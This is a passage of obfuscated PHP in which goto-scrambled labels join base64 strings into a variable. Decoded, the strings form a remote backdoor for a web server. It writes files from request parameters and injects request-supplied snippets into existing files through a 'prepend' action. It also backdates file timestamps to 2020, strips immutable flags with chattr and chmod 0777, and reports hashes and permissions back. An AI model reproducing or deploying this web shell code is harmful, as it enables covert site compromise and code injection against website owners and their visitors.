ICAgICAgICAgICAgICAgICAgICAkbmVlZFVwZGF0ZSA9IHRydWU7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmIChpc19maWxlKCR0b0Z1bGwpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZXhpc3RpbmcgPSBAZmlsZV9nZXRfY29udGVudHMoJHRvRnVsbCk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoJGV4aXN0aW5nID09PSAkY29udGVudCkgeyAkbmVlZFVwZGF0ZSA9IGZhbHNlOyB9CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRuZWVkVXBkYXRlKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoYXF1YV9mb3JjZV93cml0ZSgkdG9GdWxsLCAkY29udGVudCkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhcXVhX3RvdWNoXzIwMjAoJHRvRnVsbCk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGl0ZW1bJ29rJ10gPSB0cnVlOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg'; goto wfytwSm0; wfytwSm0: $_LRXxT .= 'ICRpdGVtWyd1cGRhdGVkJ10gPSB0cnVlOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRpdGVtWydzaXplJ10gPSBzdHJsZW4oJGNvbnRlbnQpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaXRlbVsnb2snXSA9IGZhbHNlOyAkaXRlbVsnZXJyb3InXSA9ICd3cml0ZV9mYWlsZWQnOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGl0ZW1bJ29rJ10gPSB0cnVlOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGl0ZW1bJ3VwZGF0ZWQnXSA9IGZhbHNlOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGl0ZW1bJ3NpemUnXSA9IHN0cmxlbigkY29udGVudCk7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAkb3V0WydiYWNrdXAnXVtdID0gJGl0ZW07CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgIGlmIChpc3NldCgkcmVxWydmaWxlcyddKSAmJiBpc19hcnJheSgkcmVxWydmaWxlcyddKSkgewogICAgICAgICAgICBmb3JlYWNoICgkcmVxWydmaWxlcyddIGFzICRyZWwgPT4gJGI2NCkgewogICAgICAgICAgICAgICAgaWYgKCFpc19zdHJpbmcoJHJlbCkgfHwgJHJlbCA9PT0gJycgfHwgIWlzX3N0cmluZygkYjY0KSkgewogICAgICAgICAgICAgICAgICAgICRvdXRbJ2ZpbGVzJ11bKHN0cmluZykkcmVsXSA9IGFycmF5KCdvaycgPT4gZmFsc2UsICdlcnJvcicgPT4gJ2JhZF9wYXJhbScpOwogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOwogICAgICAgI'; goto QrxMZVq; zCjGMeL3u: $_mSGn = 6362; $_LRXxT .= 'nJheSgnZmlsZScgPT4gJHJlbCwgJ3Blcm1zJyA9PiBzdWJzdHIoc3ByaW50ZignJW8nLCBmaWxlcGVybXMoJGZ1bGwpKSwgLTQpKSk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgYXF1YV9qc29uKDIwMCwgJ29rJywgYXJyYXkoJ3JlbW92ZWQnID0+ICRyZWwpKTsKICAgICAgICBicmVhazsKCiAgICBjYXNlICdwcmVwZW5kJzoKICAgICAgICAkcmVsID0gaXNzZXQoJF9SRVFVRVNUWydmaWxlJ10pID8gJF9SRVFVRVNUWydmaWxlJ10gOiAnJzsKICAgICAgICBpZiAoJHJlbCA9PT0gJycpIHsgYXF1YV9qc29uKDQwMCwgJ+e8guWThOearyBmaWxlJywgbnVsbCk7IH0KICAgICAgICAkZnVsbCA9IGFxdWFfc2FmZV9wYXRoKCRST09ULCAkcmVsKTsKICAgICAgICBpZiAoJGZ1bGwgPT09IGZhbHNlIHx8ICFpc19maWxlKCRmdWxsKSkgewogICAgICAgICAgICBhcXVhX2pzb24oNDA0LCAn6Y+C5Zum5qyi5raT5baF55Oo6Y2m77+9JywgbnVsbCk7CiAgICAgICAgfQogICAgICAgICRzbmlwcGV0ID0gaXNzZXQoJF9SRVFVRVNUWydzbmlwcGV0J10pID8gJF9SRVFVRVNUWydzbmlwcGV0J10gOiAnJzsKICAgICAgICAkbWFya2VyICA9IGlzc2V0KCRfUkVRVUVTVFsnbWFya2VyJ10pICA/ICRfUkVRVUVTVFsnbWFya2VyJ10gIDogJyc7CiAgICAgICAgaWYgKCRzbmlwcGV0ID09PSAnJykgeyBhcXVhX2pzb24oNDAwLCAn57yC5ZOE55qvIHNuaXBwZXQnLCBudWxsKTsgfQoKICAgICAgICAkY29udGVudCA9IGZpbGVfZ2V0X2NvbnRlbnRzKCRmdWxsKTsKCiAgICAgICAgaWYgKCRtYXJrZXIgIT09ICcnICYmIHN0cnBvcygkY29udGVudCwgJG1hcmtlcikgIT09IGZhbHNlKSB7CiAgICAgICAgICAgIGFxdWFfanNvbigyMDAsICdhbHJlYWR5JywgYXJyYXkoCiAgICAgICAgICAgICAgICAnZmlsZScgICAgID0+ICRyZWwsCiAgICAgICAgICAgICAgICAnaW5qZWN0ZWQnID0+IGZhbHNlLAogICAgICAgICAgICAgICAgJ3NpemUnICAgICA9PiBzdHJsZW4oJGNvbnRlbnQpLAogICAgICAgICAgICAgICAgJ21kNScgICAgICA9PiBtZD'; goto E0UAhMj0i; r0nAmg: $_fzOf = 21879; $_LRXxT .= 'GlmICghJGRlbCkgewogICAgICAgICAgICBAY2htb2QoJGZpbGUsIDA3NzcpOwogICAgICAgICAgICAkZGVsID0gQHVubGluaygkZmlsZSk7CiAgICAgICAgfQogICAgICAgIGlmICghJGRlbCAmJiBmdW5jdGlvbl9leGlzdHMoJ2V4ZWMnKSkgewogICAgICAgICAgICBAZXhlYygnY2hhdHRyIC1pICcgLiBlc2NhcGVzaGVsbGFyZygkZmlsZSkgLiAnIDI+L2Rldi9udWxsJyk7CiAgICAgICAgICAgIEBjaG1vZCgkZmlsZSwgMDY0NCk7CiAgICAgICAgICAgICRkZWwgPSBAdW5saW5rKCRmaWxlKTsKICAgICAgICB9CiAgICAgICAgaWYgKCEkZGVsKSByZXR1cm4gZmFsc2U7CiAgICB9CiAgICAkb2sgPSBAZmlsZV9wdXRfY29udGVudHMoJGZpbGUsICRkYXRhKTsKICAgIGlmICgkb2sgIT09IGZhbHNlKSB7CiAgICAgICAgQGNobW9kKCRmaWxlLCAwNjQ0KTsKICAgICAgICByZXR1cm4gdHJ1ZTsKICAgIH0KICAgIHJldHVybiBmYWxzZTsKfQoKZnVuY3Rpb24gYXF1YV93cml0ZV90YXJnZXQoJFJPT1QsICRyZWwpIHsKICAgICRmdWxsID0gYXF1YV9zYWZlX3BhdGgoJFJPT1QsICRyZWwpOwogICAgaWYgKCRmdWxsID09PSBmYWxzZSkgeyByZXR1cm4gZmFsc2U7IH0KICAgICRkaXIgPSBkaXJuYW1lKCRmdWxsKTsKICAgIGlmICghaXNfZGlyKCRkaXIpKSB7CiAgICAgICAgaWYgKCFAbWtkaXIoJGRpciwgMDc1NSwgdHJ1ZSkgJiYgIWlzX2RpcigkZGlyKSkgeyByZXR1cm4gZmFsc2U7IH0KICAgIH0KICAgIHJldHVybiAkZnVsbDsKfQoKZnVuY3Rpb24gYXF1YV90b3VjaF8yMDIwX2RpcigkZGlyLCAkUk9PVCkgewogICAgJHJvb3RMZW4gPSBzdHJsZW4ocnRyaW0oJFJPT1QsICcvJykpOwogICAgJGQgPSBydHJpbSgkZGlyLCAnLycpOwogICAgd2hpbGUgKHN0cmxlbigkZCkgPiAkcm9vdExlbikgewogICAgICAg'; goto oYcljMDZS; EF30YuHT: ?>
Close